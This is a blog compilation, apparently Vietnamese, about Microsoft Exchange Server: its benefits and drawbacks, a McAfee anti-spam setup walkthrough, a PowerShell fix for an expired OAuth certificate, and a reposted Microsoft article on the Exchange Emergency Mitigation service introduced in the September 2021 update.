Exchange Server có thể xem là máy chủ email chất lượng nhất hiện nay. Nó không chỉ là sản phẩm đến từ gã khổng lồ công nghệ Microsoft mà còn bởi khả năng cung ứng cho hàng tỷ người dùng toàn cầu với độ chính xác và tính linh hoạt cao. Có rất ít đối thủ cạnh tranh thực sự với Exchange.

Nhưng không phải là không có nhược điểm. Cùng phân tích một số ưu nhược điểm của Exchange Server:

4.1 Ưu điểm:

Bảo mật cao: Exchange là một công cụ tuyệt vời cho mục đích bảo mật. Mối quan tâm chính của Exchange là giữ bảo mật cho dữ liệu của tổ chức và chắc chắn Exchange Server sẽ là “quán quân” trong nhiệm vụ này. 

Công ty không cần lo lắng về việc rò rỉ dữ liệu bí mật vì Exchange được trang bị các công cụ chống rò rỉ, lưu trữ và sao lưu thông tin nhạy cảm của doanh nghiệp dựa trên nghĩa vụ tuân thủ chính sách và quy định của chính phủ và ngành.

Nâng cao năng suất làm việc nhóm: Exchange Server giúp mọi người trong tổ chức của bạn luôn duy trì kết nối và cộng tác hiệu quả từ mọi nơi ngay cả khi offline. Exchange Server giúp đơn giản hóa các phương pháp giao tiếp từ xa, giảm thiểu cách kết nối truyền thống, từ đó giúp tăng trưởng năng suất nhanh chóng.

Hiệu quả về chi phí: Nhờ tính linh hoạt và thời gian hoạt động liền mạch với máy chủ mạnh mẽ, Exchange giúp giảm thiểu thời gian chết, thời gian khắc phục sự cố thường thấy ở máy chủ email truyền thống. Các tùy chọn gọi thoại, họp video, gửi tài liệu cũng dễ dàng hơn khi có Exchange. 

Nhìn chung, Exchange Server giúp doanh nghiệp tiết kiệm ngân sách khá lớn so với các máy chủ email truyền thống.

Tính di động: Máy chủ Exchange cho phép người dùng của doanh nghiệp truy cập an toàn vào các tin nhắn email, tin nhắn tức thì, thư thoại, cuộc gọi video và tin nhắn SMS từ mọi nơi trên thế giới. Tất cả những gì họ cần là một thiết bị như laptop, máy tính bàn, máy tính bảng hoặc điện thoại di động và kết nối internet.

Mở rộng lên đám mây: Exchange của Microsoft được quản lý trên đám mây nên người dùng cũng có thể mở rộng thêm nhiều ứng dụng kết nối khác trên đám mây của Microsoft hoặc ứng dụng của nhà cung cấp khác (mà Microsoft có hỗ trợ). Doanh nghiệp vừa có thể triển khai Exchange tại chỗ hoặc Exchange trên đám mây miễn là đáp ứng được nhu cầu kinh doanh của bạn.

Kết nối sâu với khách hàng: Với khả năng hoạt động liên tục 24/7/365 ngày, Exchange Server cho phép các công ty nhận thông tin và phản hồi nhanh chóng mọi yêu cầu và thắc mắc từ khách hàng. Nhanh chóng giải quyết các vấn đề sớm nhất có thể, giúp khách hàng thỏa mãn hơn trong thời gian ngắn.

4.2 Nhược điểm:

Chi phí: So với một số máy chủ email khác, triển khai, vận hành và duy trì Exchange Server khá tốn kém. Các doanh nghiệp nhỏ thường không đủ khả năng cả về chi phí lẫn nhân lực để duy trì Exchange Server lâu dài.

Nâng cấp phức tạp: Nhìn chung, nâng cấp Exchange Server không phải là nhiệm vụ dễ dàng ngay cả với những chuyên gia công nghệ giỏi nhất.

Khả năng vận hành: Để hệ thống luôn hoạt động, doanh nghiệp cần một đội ngũ CNTT giàu chuyên môn quản lý và vận hành Exchange liên tục.

Chính vì những khó khăn này mà đa số doanh nghiệp đều chọn sử dụng Exchange Server dưới dạng dịch vụ trong giải pháp Microsoft 365. Tổ chức chỉ cần bỏ chi phí mua giấy phép, mọi vấn đề còn lại sẽ do Microsoft giải quyết.

5. Exchange Server cung cấp dưới dạng dịch vụ SaaS

Sự phức tạp của việc quản lý máy chủ Exchange – cụ thể là chạy cả một hoặc nhiều máy chủ Exchange (với các doanh nghiệp lớn), cộng với các máy chủ đồng bộ hóa Active Directory – đã khiến các tổ chức chọn cách mua dưới dạng dịch vụ để tiết kiệm chi phí và dễ quản lý hơn.

6. Phân biệt Exchange Server và Exchange Online

Exchange Online là Exchange Server được phân phối dưới dạng dịch vụ đám mây do chính Microsoft lưu trữ nhằm giúp các doanh nghiệp dễ dàng sử dụng và tiết kiệm chi phí hơn thay vì đầu tư máy chủ Exchange tại chỗ.

Exchange Online cũng được xây dựng dựa trên các công nghệ tương tự như Exchange Server và cung cấp các dịch vụ cơ bản giống như các nhà cung cấp bên thứ ba lưu trữ các phiên bản máy chủ Exchange.

Kết Luận

Các khái niệm về Microsoft Exchange, Exchange Server hay Exchange Online dễ nhầm lẫn, dẫn đến việc nghiên cứu và lựa chọn dịch vụ nào theo đúng nhu cầu cũng gây khó khăn, nhất là doanh nghiệp chưa có người phụ trách mảng CNTT.

Nguồn Microsoft365

HƯỚNG DẪN SETUP MCAFEE SECURITY FOR MICROSOFT EXCHANGE 2016/2019

Microsoft_Exchange_(2019-present).svg

Giới thiệu

MCAFee Security Dành cho Exchange Server giúp bảo vệ chống spam, lọc email virus cho hệ thống email Exchange on-premise.

Các cài đặt

Cần chuẩn bị source và setup nhé.

Graphical user interface, text, application

Description automatically generated
Graphical user interface, text, application

Description automatically generated
Graphical user interface, application

Description automatically generated
Graphical user interface, application

Description automatically generated
Graphical user interface, application

Description automatically generated
Graphical user interface, text, application

Description automatically generated
Graphical user interface, application

Description automatically generated
Graphical user interface, application

Description automatically generated
Graphical user interface, application

Description automatically generated
Graphical user interface, text, application

Description automatically generated
Graphical user interface, application

Description automatically generated
Graphical user interface, application, Teams

Description automatically generated
Graphical user interface, text, application

Description automatically generated

Cài add-on Antispam

Graphical user interface, text

Description automatically generated
Graphical user interface, application, Teams

Description automatically generated

Logon quản lý MSME

Graphical user interface

Description automatically generated
Graphical user interface, application

Description automatically generated
Graphical user interface, text, application

Description automatically generated
Graphical user interface, text, application

Description automatically generated

Mặt định 90 days free nhé

Chúc các bạn thành công

Nếu thấy bài viết hay đừng quên like share nhé.

Phương Nguyễn viết

Problem One, “HMACProvider.GetCertificates:protectionCertificates.Length<1”:

Microsoft_Exchange_(2019-present).svg
This image has an empty alt attribute; its file name is image-9-1024x508.png

Symptoms

When you try to sign in to Outlook on the web or the EAC in Exchange Server, the web browser freezes or reports that the redirect limit was reached. Additionally, Event 1003 is logged in the event viewer. For example, the following entry is logged:

Event ID: 1003
Source: MSExchange Front End HTTPS Proxy
[Owa] An internal server error occurred. The unhandled exception was: System.NullReferenceException: Object reference not set to an instance of an object.
   at Microsoft.Exchange.HttpProxy.FbaModule.ParseCadataCookies(HttpApplication httpApplication)

Cause

This issue occurs if the Exchange Server Open Authentication (OAuth) certificate is expired, not present, or not configured correctly.

Resolution

To Resolve this problem carry out the following:

  1. Open Exchange Management Shell as Administrator
  2. Run the following command. (Replace contoso.com with your SMTP domain)
New-ExchangeCertificate -KeySize 2048 -PrivateKeyExportable $true -SubjectName "cn=Microsoft Exchange Server Auth Certificate" -FriendlyName "Microsoft Exchange Server Auth Certificate" -DomainName "contoso.com"

3. Take note of your thumbprint, you’ll need it for the next command. Now run the rest of the commands.

Set-AuthConfig -NewCertificateThumbprint <ThumbprintFromStep1> -NewCertificateEffectiveDate (Get-Date)
Set-AuthConfig -PublishCertificate
Set-AuthConfig -ClearPreviousCertificate
Restart-Service MSExchangeServiceHost
Restart-WebAppPool MSExchangeOWAAppPool
Restart-WebAppPool MSExchangeECPAppPool

4. If you have multiple Exchange servers, you’ll need to run the following commands on each of them, but wait for the new Exchange Auth Certificate to be replicated to them first.

Restart-Service MSExchangeServiceHost
Restart-WebAppPool MSExchangeOWAAppPool
Restart-WebAppPool MSExchangeECPAppPool

 Wait, this can take a few hours-48hours to replicate across (more than the one hour Microsoft state), but then everything will start working again. If you wish to confirm each server is aware of the new Auth configuration you can run “Get-AuthConfig” and validate the Thumbprint and effective date match your new certificate and the time you executed the first “Set-AuthConfig” command respectively. If you have a Hybrid Exchange environment you need to rerun the “Hybrid Configuration Wizard” again to update these changes to Azure Active Directory.

(Get-AuthConfig).CurrentCertificateThumbprint | Get-ExchangeCertificate | Format-List

Good luck

Link Reference: https://docs.microsoft.com/en-us/exchange/troubleshoot/administration/cannot-access-owa-or-ecp-if-oauth-expired

Phương Nguyễn

New Security Feature In September 2021 Cumulative Update For Exchange Server

Microsoft_Exchange_(2019-present).svg

Security is a top priority for Microsoft and our customers, and we continue to work very hard to keep customer data secure from cyber-threats, while ensuring compliance with evolving regulations. As part of our continued work to help you protect your Exchange Servers, in the September 2021 Cumulative Update (CU) we have added a new feature called the Microsoft Exchange Emergency Mitigation service. This new service is not a replacement for installing Exchange Server Security Updates (SUs), but it is the fastest and easiest way to mitigate the highest risks to Internet-connected, on-premises Exchange servers prior to installing applicable SUs.

Security Vigilance with on-premises Servers

Cyberattacks continue to increase in frequency and sophistication and as we have said repeatedly, it is critical to keep your on-premises infrastructure secure and up to date, including all your Exchange servers. This is a continuous process in which you:

  1. Take inventory Use the Exchange Server Health Checker script to see if you are behind on your on-premises Exchange Server updates.
  2. Install needed updates  Use the Exchange Update Wizard to get directions and install the latest updates on your Exchange server(s).

Important   With the September 2021 CU release, only the June 2021 and September 2021 CUs are supported for Exchange SUs. If you are on Exchange 2016 or Exchange 2019 and not yet running a CU that is supported for SUs, you should install a supported CU and applicable SUs now.

After the release of the March SUs, we learned that many of our customers weren’t ready to install them because they were not running a supported CU. Based on our customer engagements, we realized that there was a need for a simple, easy to use, automated solution that could help customers quickly protect their on-premises Exchange servers, especially those who did not have dedicated security or IT teams to apply critical updates.

To help our customers, we released the Exchange On-premises Mitigation Tool (EOMT). The EOMT is a one-click tool that applies interim mitigations to an Exchange server to proactively minimize vulnerable attack surfaces until the admin can install an available SU. This was our recommended approach for Exchange deployments with Internet access and for those who needed to quickly mitigate their risk while they prepared to update their servers.

In addition to releasing EOMT last March, we also released automatic mitigation for on-premises Exchange Server in Microsoft Defender Antivirus and System Center Endpoint Protection. As with EOMT, these were interim mitigations designed to help protect customers who needed extra time to install the available SU.

In the June CUs for Exchange 2016 and Exchange 2019, we introduced another safety measure for on-premises Exchange customers: integration between Exchange Server and the Windows Antimalware Scan Interface (AMSI). AMSI integration in Exchange Server provides the ability to scan content in HTTP requests and block a malicious request before it is handled by Exchange Server, defeating common attempts to exploit unpatched software and deploy malware.

Exchange Server Emergency Mitigation

Building on that approach, in the September 2021 CUs we are introducing a new component in Exchange Server called Emergency Mitigation (EM). Like other Exchange Server components, EM runs as a Windows service on Exchange Server. It is a built-in version of the EOMT that works with the cloud-based Office Config Service (OCS) to provide protection against security threats that have known mitigations. The OCS is the same online configuration service used by Office clients.

The use of EM is optional for customers who want Microsoft to create and automatically apply vulnerability mitigations to their Exchange servers. If your organization doesn’t want to use EM, an admin can disable it and continue to use the EOMT to manually mitigate threats.

Here’s how EM works. Once an hour, the EM service checks the OCS for mitigations by calling into https://officeclient.microsoft.com/getexchangemitigations. Since in the future mitigations may be released at any time, we chose to have the EM service check for mitigations hourly. A mitigation is an action or set of actions used to secure an Exchange server from a known threat. If Microsoft learns about a security threat and we create a mitigation for the issue, that mitigation can be sent directly to the Exchange server, which would automatically implement the pre-configured settings. The mitigation package is a signed XML file that contains configuration settings for mitigating a known security threat. Once received by the Exchange server, the EM service validates the signature to verify that the XML was not tampered with and has the proper issuer and subject, and after successful validation applies the mitigation(s).

As with the EOMT, the work performed by the EM service is intended as a temporary and interim mitigation for customers until they can apply an SU that fixes the vulnerability. As stated previously, the EM service is not a replacement for Exchange SUs, but it is the fastest and easiest way to mitigate the highest risks to Internet-connected, on-premises Exchange servers prior to updating.

Understanding Exchange Server Emergency Mitigation

The EM service is part of Exchange Server and will be installed automatically on Mailbox servers when you install the September 2021 (or later) CU. It will not be installed on Edge Transport servers. Once installed, EM is an optional service that can be disabled by an admin. In fact, on Exchange servers without Internet connectivity, you’ll want to disable EM because it can’t work without Internet connectivity. In those cases, or when you don’t want automatic mitigation, we recommend using the EOMT to apply available mitigations manually. If you have outbound Internet connectivity but are using restrictions, you will need to enable outbound connectivity to the OCS, which is https://officeclient.microsoft.com.

Emergency Mitigation Prerequisites

The addition of the EM service means additional pre-requisites for installing Exchange. The EM service requires the IIS URL Rewrite module v2 to be installed on the Exchange server. If this module is not installed on the server when you install the CU, you’ll receive an Error message during the Prerequisite Analysis phase of Setup. Regardless of whether you plan to use EM, the IIS URL Rewrite module is a pre-requisite for installing Exchange, starting with the September 2021 CU. When applying a mitigation through the IIS URL Rewrite module, EM may make changes to the web.config file on the Exchange server. These changes are done automatically, and either they all succeed, or web.config is rolled back to the customer’s original state.

If you are running Exchange Server 2016 on Windows Server 2012 R2, you’ll also need to first install the Update for Universal C Runtime in Windows (KB2999226). If this update is not installed, Exchange Setup will not be able to proceed.

Finally, the Exchange server will need connectivity to the OCS, specifically to https://officeclient.microsoft.com. Without this connectivity, the EM service can’t function.

Understanding Mitigations

A mitigation is an action or set of actions that are taken automatically to secure an Exchange server from a known threat that is being actively exploited in the wild. The EM service (like the EOMT) is able to apply multiple mitigations, including:

  • Implementing an IIS rewrite rule to filter malicious HTTPS requests;
  • Disabling an Exchange service; and
  • Disabling a virtual directory or app pool.

Actions performed via a mitigation include URL rewriting, stopping/starting app pools and services, changing authentication settings, and modifying other configuration settings. This means that to protect your organization and mitigate risk, the EM service may automatically disable features or functionality on an Exchange server (just as the EOMT did in March).

If your organization has an alternate means of mitigating a known threat, you may choose to block any EM service mitigations for that threat from being automatically applied. Details on how to do that can be found later in this blog post.

Optionally Send Diagnostic Data to Microsoft

When installing the September 2021 (or a later) CU, you’ll also notice a change to the License Terms acceptance process. We have added the ability to send diagnostic data from your Exchange servers related to mitigations. This data is sent to the OCS when the EM service checks for available mitigations.

When using the GUI version of Setup, you’ll see a new License Agreement screen, as shown below:

You can choose one of the following:

  • I accept the license agreement and will share diagnostic data with Microsoft: This is the default option which accepts the license agreement and enables sending data to Microsoft.
  • I accept the license agreement, but I’m not ready to share diagnostic data with Microsoft: This option accepts the license agreement but disables sending data to Microsoft.
  • I do not accept the license agreement: If you don’t accept the EULA, you cannot install the CU (as with all CUs).

These options are also available via an unattended command-line or scripted setup through the use of new Setup switches:

  • /IAcceptExchangeServerLicenseTerms_DiagnosticDataON: Use this new Setup switch to accept the license terms and send optional data to Microsoft.
  • /IAcceptExchangeServerLicenseTerms_DiagnosticDataOFF: Use this new Setup switch to accept the license terms and disable sending optional data to Microsoft.

Important The previous Setup switch used to accept the license agreement (/IAcceptExchangeServerLicenseTerms) has been removed from Exchange Setup and replaced with the above two new Setup switches.

After Setup has completed, an admin can enable or disable sending the optional data to the OCS on any Exchange server using Set-ExchangeServer. For example, use:

  • Set-ExchangeServer -Identity <ServerName> -DataCollectionEnabled $false to disable sending optional data to Microsoft.
  • Set-ExchangeServer -Identity <ServerName> -DataCollectionEnabled $true to enable sending optional data to Microsoft.

If sending optional data to Microsoft is enabled, each Exchange server sends the following information to the OCS when checking for mitigations:

  • Exchange Server build: The Exchange server version (CU and SU build number information).
  • Emergency Mitigation service state: Information about the admin-configured behavior of the EM service (for example, whether to send data and/or automatically mitigate).
  • Immutable Device ID: Unique identification for the server.
  • Immutable Org ID: Unique identification for each Exchange organization in your environment.
  • Applied mitigations: A list of all mitigations that have been applied and their status.
  • Blocked mitigations: A list of all mitigations that have been blocked by an admin.

To better keep Exchange Server secure and up to date and to identify and mitigate threats, we may update what data is collected in future releases. For the most current information on what data is collected when sending optional data is enabled, please see the product documentation.

Sample PING Mitigation

After the September 2021 CU is installed, the EM service will communicate with the OCS to check for mitigations. To ensure this process is working correctly, and to allow admins to work with and learn about this new feature, we will send a sample mitigation called PING to the EM service. This sample mitigation is used solely for verifying the health of the EM service/OCS pipeline end-to-end and to allow admins to interact with this new feature. It’s really just there to test everything in the real world before we release any actual mitigations.

The sample PING mitigation contains no configuration settings, and it does not take any actions on or make any changes to the Exchange server. But without this initial sample mitigation, admins would not be able to learn how to manage mitigations before any real ones are released.

Because the sample mitigation does not make any changes, there’s no way to remove it. However, using the processes described later in this blog, admins can block the sample mitigation or choose to keep it applied.

Controlling automatic mitigation in your environment

Admins have visibility and control over mitigation behavior using PowerShell. For example, you can find details on applied mitigations and their status using scripts included with EM, and you can find details of mitigations blocked by an admin using PowerShell and in the Windows Event Log.

Viewing Mitigations

A detailed list of available mitigations can be viewed using the Get-Mitigations.ps1 script, as shown below.

Enabling and Disabling Mitigations

All applicable mitigations are enabled by default. An admin can enable and disable mitigations at an organizational level or at the Exchange server level. For example:

  • Set-OrganizationConfig -MitigationsEnabled $false is used to disable automatic mitigation org-wide. By default, this is set to True. When set to False, the EM service will check for mitigations hourly but won’t automatically apply mitigations to any Exchange server in the organization, regardless of the value of MitigationsEnabled at the server level.
  • Set-ExchangeServer -Identity <ServerName> -MitigationsEnabled $false is used to disable automatic mitigation on a specific server. By default, this is set to True. When set to False, the EM service checks for mitigations hourly but won’t automatically apply them to the specified server.

The combination of these two settings determines the behavior of the EM service on each Exchange server in the organization, as detailed in the following tables:

Org SettingTrueEM will automatically apply mitigations to the Exchange server when both are True.
Server SettingTrue
 
Org SettingTrueEM will not automatically apply mitigations to a specific Exchange server when the Org setting is True, and the Server setting is False.
Server SettingFalse
 
Org SettingFalseEM will not automatically apply mitigations to any Exchange server when the Org setting is False.
Server SettingTrue or False

If you disable mitigations on a server or for the entire organization, you can still use the EOMT to manually apply any available mitigations for new security vulnerabilities to your server until the applicable SU is installed on the server.

Blocking Mitigations

An admin can block mitigations from being reapplied using the MitigationsBlocked parameter. For example, to block a single mitigation named M1, you can use:

Set-ExchangeServer -Identity <ServerName> -MitigationsBlocked @(“M1”)

To block multiple mitigations named M1 and M2, you can use:

Set-ExchangeServer -Identity <ServerName> -MitigationsBlocked @(“M1”, “M2”)

To remove the M2 mitigation from a block list containing M1 and M2, you can use:

Set-ExchangeServer -Identity <ServerName> -MitigationsBlocked @(“M1”)

To remove all mitigations from the block list, you can use:

Set-ExchangeServer -Identity <ServerName> -MitigationsBlocked @()

After a mitigation is removed from the block list, it will be reapplied by the EM service. You can manually reapply a mitigation without waiting for the EM service’s next run by restarting the EM service. After the EM service restarts, the first run to check for and apply mitigations occurs after 10 minutes.

Mitigation Removal

When a mitigation has been blocked by an admin, or when it is no longer required (as in the case of a CU or SU update), the admin must manually remove applied mitigation actions to reverse their effects.

For example, if mitigation M1 is no longer relevant after installing the latest SU, the EM service will stop applying M1 on an hourly basis and this mitigation will disappear from the list of applied mitigations, but the mitigation would still remain configured.

The steps to remove a mitigation that’s no longer needed depend on the mitigation itself. For example, if as part of a mitigation an Exchange service is stopped and set to disabled, then removing the mitigation involves starting the service and setting it to automatic startup. To remove an IIS rewrite rule mitigation, an admin can delete the rule from the appropriate web site using IIS Manager. As illustrated in the following figure, the EM service creates IIS rewrite rules with a prefix of “EEMS <Mitigation ID> <Description>” making them easy to identify.

After identifying the appropriate IIS URL rewrite rule, an admin can manually delete the rule.

Reapplying a Mitigation

If an admin removes a mitigation but does not block it, the EM service will reapply the mitigation when it performs its hourly check for new mitigations. You can manually reapply a mitigation without waiting for the EM service to check for mitigations by stopping and restarting the EM service. After restart of EM service, the first run to check and apply mitigation occurs after 10 minutes.

Viewing Applied and Blocked Mitigations

If a mitigation is successfully applied, fails to be applied, or is blocked by an admin, that will be tracked via Applied Mitigations and Blocked Mitigations. Tracking this information is part of mitigation management. For example, after a mitigation has been successfully applied, the admin still needs to install the appropriate SU for the underlying vulnerability. After the SU is installed, the mitigations are no longer needed, and the admin must remove them (and the EM service will not reapply them).

Once mitigations are applied to a server, an admin can view the applied mitigations. For example:

Get-ExchangeServer -Identity <ServerName> | fl name, MitigationsApplied
Name                             : Server1
MitigationsApplied      : {M1, M2, M3}

You can see the list of applied and blocked mitigations across your environment. For example:

Get-ExchangeServer -Identity <ServerName> | fl name, MitigationsApplied, MitigationsBlocked
Name                             :   Server1
MitigationsApplied      :   {M1, M3}
MitigationsBlocked      :   {M2}
Name                             :   Server2
MitigationsApplied      :   {M1, M2}
MitigationsBlocked      :   {M3}

You can see the list of applied and blocked mitigations on a per-server basis, as well. For example:

Get-ExchangeServer -Identity <ServerName> | fl name, *Mitigations*
Name                             :   Server1
MitigationsEnabled      :   True
MitigationsApplied      :   {M1, M3}
MitigationsBlocked      :   {M2}

You can export the list of applied mitigations and their descriptions to a CSV file using the Get-Mitigation.ps1 script available in the Scripts folder. For example:

.\Get-Mitigation.ps1 -Identity <Server> -ExportCSV “C:\temp\CSVReport.csv”

Auditing and Logging

As mentioned previously, mitigation activity is logged in the Windows Event Log. For example, events 1005 and 1006 with a source of MSExchange Mitigation Service will be logged for successful actions such as when a mitigation is applied, and event 1008 with the same source will be logged for any errors that are encountered, such as when the EM service cannot reach the OCS.

In addition to logging mitigation activity, the EM service also logs details about service startup, shutdown, and termination (like all services running on Windows), as well as details of its actions and any errors encountered by the EM service. You can use Search-AdminAuditLog to review actions taken by an admin, including enabling and disabling automatic mitigations and diagnostic data.

The EM service also maintains a separate log file in the in the “V15\Logging\MitigationService” folder under the Exchange Server installation directory. This log details the tasks performed by the EM service, including fetching mitigations, parsing mitigations, and applying mitigations, as well as details about the information sent to the OCS if sending diagnostic data is enabled.

Checking Connectivity with the OCS

An admin can verify that an Exchange server has connectivity to the OCS using the Test-MitigationServiceConnectivity.ps1 script (available in the Scripts folder) from the Exchange server. The script attempts to connect to https://officeclient.microsoft.com/getexchangemitigations.

If the connection is successful, the output is:

Result: Success.
Message: The Mitigation Service endpoint is accessible from this computer.

If the connection is unsuccessful, the output is:

Result: Failed.
Message: Unable to connect to the Mitigation Service endpoint from this computer.
To learn about connectivity requirements, see https://aka.ms/HelpConnectivityEEMS

Summary

Maintaining the security of on-premises workloads is a team effort. As the customer, you are responsible for keeping your systems up-to-date and secure. As your software vendor, we are here to provide an array of tools to help you do that.

Source Microsoft Blog Exchange